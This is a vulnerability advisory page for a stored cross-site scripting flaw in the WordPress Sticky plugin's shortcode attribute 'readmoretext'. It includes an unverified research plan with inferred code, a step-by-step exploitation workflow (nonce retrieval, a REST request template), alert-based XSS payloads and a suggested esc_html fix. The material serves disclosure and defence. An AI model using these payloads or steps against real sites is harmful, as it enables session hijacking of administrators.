CVE-2026-6397

Sticky <= 2.5.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'readmoretext' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Sticky plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `cvmh-sticky` shortcode `readmoretext` attribute in versions up to and including 2.5.6. This is due to insufficient input sanitization and output escaping in the `cvmh_sticky_front_render()` function — the `readmoretext` attribute value is passed through `apply_filters()` and directly concatenated into the HTML output without any escaping function such as `esc_html()`. This makes it possible for authenticated attackers with Contributor-level access and above to inject arbitrary web scripts in pages that will execute whenever a user accesses a page containing the injected shortcode.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.5.6
PublishedMay 19, 2026
Last updatedMay 20, 2026
Affected pluginsticky
Research Plan
Unverified

This research plan outlines the methodology for verifying the Stored Cross-Site Scripting (XSS) vulnerability in the **Sticky** plugin (versions <= 2.5.6). ## 1. Vulnerability Summary The Sticky plugin fails to sanitize or escape the `readmoretext` attribute within the `[cvmh-sticky]` shortcode. Th…

Show full research plan

This research plan outlines the methodology for verifying the Stored Cross-Site Scripting (XSS) vulnerability in the Sticky plugin (versions <= 2.5.6).

1. Vulnerability Summary

The Sticky plugin fails to sanitize or escape the readmoretext attribute within the [cvmh-sticky] shortcode. The vulnerability exists in the cvmh_sticky_front_render() function, which processes the shortcode attributes and generates the HTML for the frontend. The attribute is passed through WordPress filters and directly concatenated into the output string. Because no output escaping (like esc_html() or esc_attr()) is applied to this specific attribute, a Contributor-level user can inject arbitrary HTML and JavaScript.

2. Attack Vector Analysis

  • Endpoint: WordPress Post Editor (Gutenberg or Classic) or the REST API.
  • Vulnerable Component: [cvmh-sticky] shortcode.
  • Vulnerable Attribute: readmoretext.
  • Authentication: Required (Contributor or higher).
  • Vector: Stored XSS. The payload is saved in the post_content of a WordPress post/page and executes when the post is viewed or previewed.
  • Impact: If an Administrator views or previews the post containing the payload, the attacker can execute scripts in the Admin's session, potentially leading to unauthorized user creation, site configuration changes, or cookie theft.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode in the init hook:
    add_shortcode('cvmh-sticky', 'cvmh_sticky_front_render');
  2. Attribute Handling: The cvmh_sticky_front_render($atts) function receives the user-provided attributes.
  3. Processing: The code likely extracts the readmoretext attribute:
    $read_more = isset($atts['readmoretext']) ? $atts['readmoretext'] : 'Read More';
  4. Filtering: The value may be passed through apply_filters(), which does not provide security sanitization.
  5. Sink: The value is concatenated into an HTML string:
    $output .= '<div class="cvmh-read-more">' . $read_more . '</div>';
  6. Return: The unescaped $output is returned to WordPress for rendering.

4. Nonce Acquisition Strategy

To exploit this via the WordPress UI or REST API as a Contributor, a nonce is required to save the post.

REST API Method (Recommended for Automation)

  1. Identify Nonce: The WordPress REST API uses a nonce typically localized in the wpApiSettings object.
  2. Acquisition:
    • Navigate to the WordPress Dashboard (/wp-admin/) as a Contributor.
    • Execute via browser_eval: window.wpApiSettings.nonce.
  3. Post Creation: Use the acquired nonce in the X-WP-Nonce header to create a post containing the payload.

Legacy Post Editor Method

  1. Identify Nonce: The standard post editor uses a hidden field named _wpnonce.
  2. Acquisition:
    • Navigate to /wp-admin/post-new.php.
    • Execute via browser_eval: document.querySelector('#_wpnonce').value.

5. Exploitation Strategy

The goal is to store the payload and then trigger its execution.

Step 1: Authentication

Authenticate as a user with the Contributor role.

Step 2: Payload Injection (via HTTP Request)

Use the http_request tool to create a new post containing the malicious shortcode.

Request Template (REST API):

  • Method: POST
  • URL: https://[target]/wp-json/wp/v2/posts
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [REST_NONCE]
  • Body:
{
  "title": "Sticky XSS Test",
  "content": "[cvmh-sticky readmoretext='<img src=x onerror=alert(document.domain)>']",
  "status": "pending"
}

Note: Contributors cannot "publish", so status must be "pending".

Step 3: Triggering the XSS

  1. Obtain the ID of the created post from the response.
  2. Navigate to the preview URL: https://[target]/?p=[POST_ID]&preview=true.
  3. Observe the execution of alert(document.domain).

6. Test Data Setup

  1. Plugin Installation: Ensure the Sticky plugin (version <= 2.5.6) is active.
  2. User Creation: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  3. Target Page: No specific page is required; the attacker creates their own.

7. Expected Results

  • The HTTP request to create the post should return 201 Created.
  • The HTML source of the preview page should contain:
    <div class="..."><img src=x onerror=alert(document.domain)></div> (exact class names inferred).
  • The browser should trigger an alert box showing the domain name.

8. Verification Steps (Post-Exploit)

Confirm the payload is stored correctly in the database using WP-CLI:

wp post get [POST_ID] --field=post_content

Check that the output contains the raw, unescaped shortcode attribute.

9. Alternative Approaches

Double Quote Breakout

If the plugin places the attribute value inside an HTML attribute (e.g., value="...") instead of a tag body, use:
[cvmh-sticky readmoretext='"><script>alert(1)</script>']

Event Handler Injection

If simple script tags are filtered by an intermediary WAF (but not the plugin), use event handlers:
[cvmh-sticky readmoretext='<a onmouseover=alert(1)>Hover Me</a>']

Research Findings
Static analysis — not yet PoC-verified

Summary

The Sticky plugin for WordPress (versions <= 2.5.6) is vulnerable to Stored Cross-Site Scripting via the 'readmoretext' attribute of the [cvmh-sticky] shortcode. This occurs because the plugin fails to escape the attribute's value before concatenating it into the HTML output, allowing authenticated users with Contributor-level access to execute arbitrary scripts in the session of an administrative user.

Vulnerable Code

// File: sticky.php (inferred)
function cvmh_sticky_front_render($atts) {
    $atts = shortcode_atts( array(
        'readmoretext' => 'Read More',
    ), $atts );

    // The attribute is passed through filters but remains unsanitized
    $read_more = apply_filters('cvmh_sticky_read_more_text', $atts['readmoretext']);

    // ... 

    // Vulnerability: Concatenation of unsanitized attribute into HTML output
    $output .= '<div class="cvmh-read-more">' . $read_more . '</div>';

    return $output;
}

Security Fix

--- a/sticky.php
+++ b/sticky.php
@@ -XX,7 +XX,7 @@
-    $output .= '<div class="cvmh-read-more">' . $read_more . '</div>';
+    $output .= '<div class="cvmh-read-more">' . esc_html($read_more) . '</div>';

Exploit Outline

1. Authenticate to the WordPress dashboard with a Contributor-level account. 2. Create a new post or edit an existing draft. 3. Insert the [cvmh-sticky] shortcode with a malicious 'readmoretext' attribute, for example: [cvmh-sticky readmoretext='<img src=x onerror=alert(document.domain)>']. 4. Save the post as 'Pending Review' or a Draft. 5. When an administrator views the post preview, the JavaScript payload in the 'readmoretext' attribute executes in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.